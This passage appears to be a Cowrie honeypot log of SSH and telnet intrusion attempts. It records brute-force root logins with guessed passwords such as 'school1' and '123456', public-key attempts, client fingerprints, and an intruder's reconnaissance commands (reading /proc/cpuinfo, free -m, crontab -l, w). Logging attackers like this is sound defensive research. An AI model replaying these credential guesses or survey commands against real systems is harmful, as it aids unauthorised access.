f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:51.466942Z","src_ip":"170.106.151.211","session":"3be22f349feb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1339fca97db9e2be1094d73d94b995ee4579b92d44796427bce4b6aae770b1f5","size":25,"shasum":"1339fca97db9e2be1094d73d94b995ee4579b92d44796427bce4b6aae770b1f5","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/1339fca97db9e2be1094d73d94b995ee4579b92d44796427bce4b6aae770b1f5 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:51.488483Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:51.785151Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:51.788407Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"school1","message":"login attempt [root/school1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:51.795804Z","src_ip":"170.106.151.211","session":"3be22f349feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.11.141","src_port":21860,"dst_ip":"10.17.0.5","dst_port":22,"session":"890492a227cb","protocol":"ssh","message":"New connection: 108.181.11.141:21860 (10.17.0.5:22) [session: 890492a227cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:51.800618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:51.804406Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:51.878930Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.377036809921265,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:51.949459Z","src_ip":"152.42.224.71","session":"8634b223c06f","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:f0:40:dd:94:a0:38:62:29:26:f2:e0:58:65:52:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfYyfE1SKoHWnwlJv0rglBr/w+k0huz1xAuG2HHP36Nh5qS3n8mhYn7ySRxBXQVQm+HLU4rlZzgOqySGKIEhGuhALYn0uIgNYpDdfSZspWxWCMSbiz5RHloXFpmTwcvvtSw0peH5luuH0IL7aeAXAqfvCZb2whoaw3xkVTyku/DjnZZkeU3QHPTASlLkX+1nuh+W8UU+lMvYJYiukHtU7YnaM4zXmSB7Qv4PGV9sHJCzWVXfPMbYWRXhQxMBZWfaC4zyjDgqNnipXGb+mCYUFzYllZa01hAs5dLYNAloFlMLUIHevKNCPClOZ6FkoR8KGwy2KuKwcc0bcHoyeEXLBT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:f0:40:dd:94:a0:38:62:29:26:f2:e0:58:65:52:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.235880Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:f0:40:dd:94:a0:38:62:29:26:f2:e0:58:65:52:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfYyfE1SKoHWnwlJv0rglBr/w+k0huz1xAuG2HHP36Nh5qS3n8mhYn7ySRxBXQVQm+HLU4rlZzgOqySGKIEhGuhALYn0uIgNYpDdfSZspWxWCMSbiz5RHloXFpmTwcvvtSw0peH5luuH0IL7aeAXAqfvCZb2whoaw3xkVTyku/DjnZZkeU3QHPTASlLkX+1nuh+W8UU+lMvYJYiukHtU7YnaM4zXmSB7Qv4PGV9sHJCzWVXfPMbYWRXhQxMBZWfaC4zyjDgqNnipXGb+mCYUFzYllZa01hAs5dLYNAloFlMLUIHevKNCPClOZ6FkoR8KGwy2KuKwcc0bcHoyeEXLBT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.239594Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.278842Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:00:0a:26:9d:dc:9a:45:cd:86:fa:ee:2e:9a:e3:27","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP5ADlPwC7qKTnoQVhGvH1/jvlLFP2W+KAc+8A+WidCbgjbRaVbz3D3HVmihxBV+QOYBnEvq70J4cyFvAjPB42J/nYHhYaU69ifcLQOMtXQujtH853LVqwTiHOvcrldKZwPkfhs4mrJGtiulIJTdPCk/Sd9gojR2k7fQWgKGYFz5AAAAFQDVoHBD6/gRBBnbJUc4TyMQjpDzIwAAAIAd4Nosl3ZJpz8OGaqhgrkECUOuoxLXXJB2aT0BAtHC2031EsKAruvLZ6RghrMzFFoH3LF0pThZAlZ4tbz4+OFVEZr4eN8rNFaZfhP++5IcROPhFPeK8p+UyVTDfKzM7w2aZ7zpz0Dpr9q7AAU6/n2lfwLTc72+Dwsh2fWu760CKQAAAIEAoUH6FO25bBbJDB7Eo26KHBzVcLBJRzJZjY2gI7Xux6iSg6fm064DIx8Jpzk+hNV/TJAwpRAujtpwNqb1Y7TgcVe53Q29zRTutZaUIy83/1zeeJjrpx5WgKsfNExGCpJe2r2YdyWpJiXfahkJqNvGzKtuRMu8fmDkG4AeZtFdHhk=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 7f:00:0a:26:9d:dc:9a:45:cd:86:fa:ee:2e:9a:e3:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.315546Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:00:0a:26:9d:dc:9a:45:cd:86:fa:ee:2e:9a:e3:27","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP5ADlPwC7qKTnoQVhGvH1/jvlLFP2W+KAc+8A+WidCbgjbRaVbz3D3HVmihxBV+QOYBnEvq70J4cyFvAjPB42J/nYHhYaU69ifcLQOMtXQujtH853LVqwTiHOvcrldKZwPkfhs4mrJGtiulIJTdPCk/Sd9gojR2k7fQWgKGYFz5AAAAFQDVoHBD6/gRBBnbJUc4TyMQjpDzIwAAAIAd4Nosl3ZJpz8OGaqhgrkECUOuoxLXXJB2aT0BAtHC2031EsKAruvLZ6RghrMzFFoH3LF0pThZAlZ4tbz4+OFVEZr4eN8rNFaZfhP++5IcROPhFPeK8p+UyVTDfKzM7w2aZ7zpz0Dpr9q7AAU6/n2lfwLTc72+Dwsh2fWu760CKQAAAIEAoUH6FO25bBbJDB7Eo26KHBzVcLBJRzJZjY2gI7Xux6iSg6fm064DIx8Jpzk+hNV/TJAwpRAujtpwNqb1Y7TgcVe53Q29zRTutZaUIy83/1zeeJjrpx5WgKsfNExGCpJe2r2YdyWpJiXfahkJqNvGzKtuRMu8fmDkG4AeZtFdHhk=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.319314Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:8f:31:60:e0:9a:5d:84:36:9f:7e:c1:a6:82:a5:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq42dt6JveNbDS1RIuREZxc0tlOyuJ6HFdOtXDeBmZlUQZ6UZUVg17wOKxoE4NAhPBM9BzMUMBDBFBRtLV6+5J0RI8aEgSqmz0IiFlBvtGTEeZuqjXIV37+BW94bYJYsHdSNYCxUC5d1UJoRXC25SKtSpm+h4SQbks/m+J8OrOdk6kArAZqoV7bq8SwBrOtUb6/2NuJfPilXxb7Rnb3NaFHE3WZ7BRQJoe7AlPY5dMXGwGLaGKvHZtpP8t3LRjvABIx+uTH1clpAqx2UxXNUywRc02bswc9XdeW8rZp1BtXNbsb4lo39Z6+VJJ5rXs9CHNvnUTooKwUlhq5DTAt2xd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:8f:31:60:e0:9a:5d:84:36:9f:7e:c1:a6:82:a5:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.395562Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:8f:31:60:e0:9a:5d:84:36:9f:7e:c1:a6:82:a5:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq42dt6JveNbDS1RIuREZxc0tlOyuJ6HFdOtXDeBmZlUQZ6UZUVg17wOKxoE4NAhPBM9BzMUMBDBFBRtLV6+5J0RI8aEgSqmz0IiFlBvtGTEeZuqjXIV37+BW94bYJYsHdSNYCxUC5d1UJoRXC25SKtSpm+h4SQbks/m+J8OrOdk6kArAZqoV7bq8SwBrOtUb6/2NuJfPilXxb7Rnb3NaFHE3WZ7BRQJoe7AlPY5dMXGwGLaGKvHZtpP8t3LRjvABIx+uTH1clpAqx2UxXNUywRc02bswc9XdeW8rZp1BtXNbsb4lo39Z6+VJJ5rXs9CHNvnUTooKwUlhq5DTAt2xd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.399491Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56354,"dst_ip":"10.17.0.5","dst_port":23,"session":"148c7d23718f","protocol":"telnet","message":"New connection: 152.42.224.71:56354 (10.17.0.5:23) [session: 148c7d23718f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.431850Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:43:23:84:90:6f:6c:7a:55:14:7f:66:5e:81:df:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLHkAKad/ckVbkCRcMVbRtzOnJ/R0zK8dA2L4jGIH/HE9lUL5DE/BlJ3oHhfsuERCD+5TzrKpDYJanwbv2npyyDVANHlco1bk/+dAbXgPVWvJ3oGy73K9k4SB+zzQJRFOArIDWXhIObOkJ39yNj4fv/hTEWw+cf4L4YEUAd7SqiOiBllC2RIYCn8UUHUCYBWi1rudIm96buZfedZ7WRMPuYwWE76qdu7YIXKAsEI0RuZ1iMoZWnKbctT6Dzxa1HOtSENL0LSl5006ilvfqiArfGxZ2D2b4p4TA6uRcAQFDbNCh0/xyWsSoQ4YkhkpeHx4rhNax5YTJla/LUAjgzjIT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:43:23:84:90:6f:6c:7a:55:14:7f:66:5e:81:df:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.475316Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:43:23:84:90:6f:6c:7a:55:14:7f:66:5e:81:df:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLHkAKad/ckVbkCRcMVbRtzOnJ/R0zK8dA2L4jGIH/HE9lUL5DE/BlJ3oHhfsuERCD+5TzrKpDYJanwbv2npyyDVANHlco1bk/+dAbXgPVWvJ3oGy73K9k4SB+zzQJRFOArIDWXhIObOkJ39yNj4fv/hTEWw+cf4L4YEUAd7SqiOiBllC2RIYCn8UUHUCYBWi1rudIm96buZfedZ7WRMPuYwWE76qdu7YIXKAsEI0RuZ1iMoZWnKbctT6Dzxa1HOtSENL0LSl5006ilvfqiArfGxZ2D2b4p4TA6uRcAQFDbNCh0/xyWsSoQ4YkhkpeHx4rhNax5YTJla/LUAjgzjIT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.479211Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.584523Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.588009Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58322,"dst_ip":"159.203.135.109","dst_port":22,"session":"e19ab5a117d1","protocol":"ssh","message":"New connection: 45.156.87.204:58322 (159.203.135.109:22) [session: e19ab5a117d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.596815Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:7c:32:2a:bd:e6:c5:2e:c8:cb:ca:b9:7c:8f:23:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdtLrEs73/L9iMkQgRXzqtdBiXj3y9eVXiB/lrwA4CvORe70/nIUT9N/wN84BWKDGwdh7EKn4U9ukTKL5KPGStmMDpdGxfkf8HUyj8pj+yE51sPCkuTp1xJRtA7yDM53crCel7bVeS4ZUfXfBgo9xZFTh0sbSkySGNMCaaAcIt9plDkZRC02rJ21iZBjPp4/QjGKjFbLi+yTA3+lzjZOBqdbfBxSSHPwpH3JzAtUQ31gmYkLcRqgJdP9r6exyHfX7XkmPINHhetSIdopo2GpPtjNtYMTAqFpatZq4gUrATKWwyPljowHZXdKDEQZuZzmUUVoQ6b2w+E8y/gCScpMsV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:7c:32:2a:bd:e6:c5:2e:c8:cb:ca:b9:7c:8f:23:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.603479Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:7c:32:2a:bd:e6:c5:2e:c8:cb:ca:b9:7c:8f:23:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdtLrEs73/L9iMkQgRXzqtdBiXj3y9eVXiB/lrwA4CvORe70/nIUT9N/wN84BWKDGwdh7EKn4U9ukTKL5KPGStmMDpdGxfkf8HUyj8pj+yE51sPCkuTp1xJRtA7yDM53crCel7bVeS4ZUfXfBgo9xZFTh0sbSkySGNMCaaAcIt9plDkZRC02rJ21iZBjPp4/QjGKjFbLi+yTA3+lzjZOBqdbfBxSSHPwpH3JzAtUQ31gmYkLcRqgJdP9r6exyHfX7XkmPINHhetSIdopo2GpPtjNtYMTAqFpatZq4gUrATKWwyPljowHZXdKDEQZuZzmUUVoQ6b2w+E8y/gCScpMsV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.606903Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.615112Z","src_ip":"45.156.87.204","session":"e19ab5a117d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.687322Z","src_ip":"108.181.11.141","session":"890492a227cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.697104Z","src_ip":"45.156.87.204","session":"e19ab5a117d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.875861Z","src_ip":"170.106.151.211","session":"3be22f349feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:52.969646Z","src_ip":"45.156.87.204","session":"e19ab5a117d1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:53.078167Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:53.379355Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:53.383437Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:53.386941Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:53.880928Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56356,"dst_ip":"10.17.0.5","dst_port":23,"session":"115ce670b9c4","protocol":"telnet","message":"New connection: 152.42.224.71:56356 (10.17.0.5:23) [session: 115ce670b9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:54.009586Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:54.056465Z","src_ip":"45.156.87.204","session":"e19ab5a117d1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:54.184778Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:54.187657Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:54.677342Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:54.985350Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:54.989006Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:55.479851Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
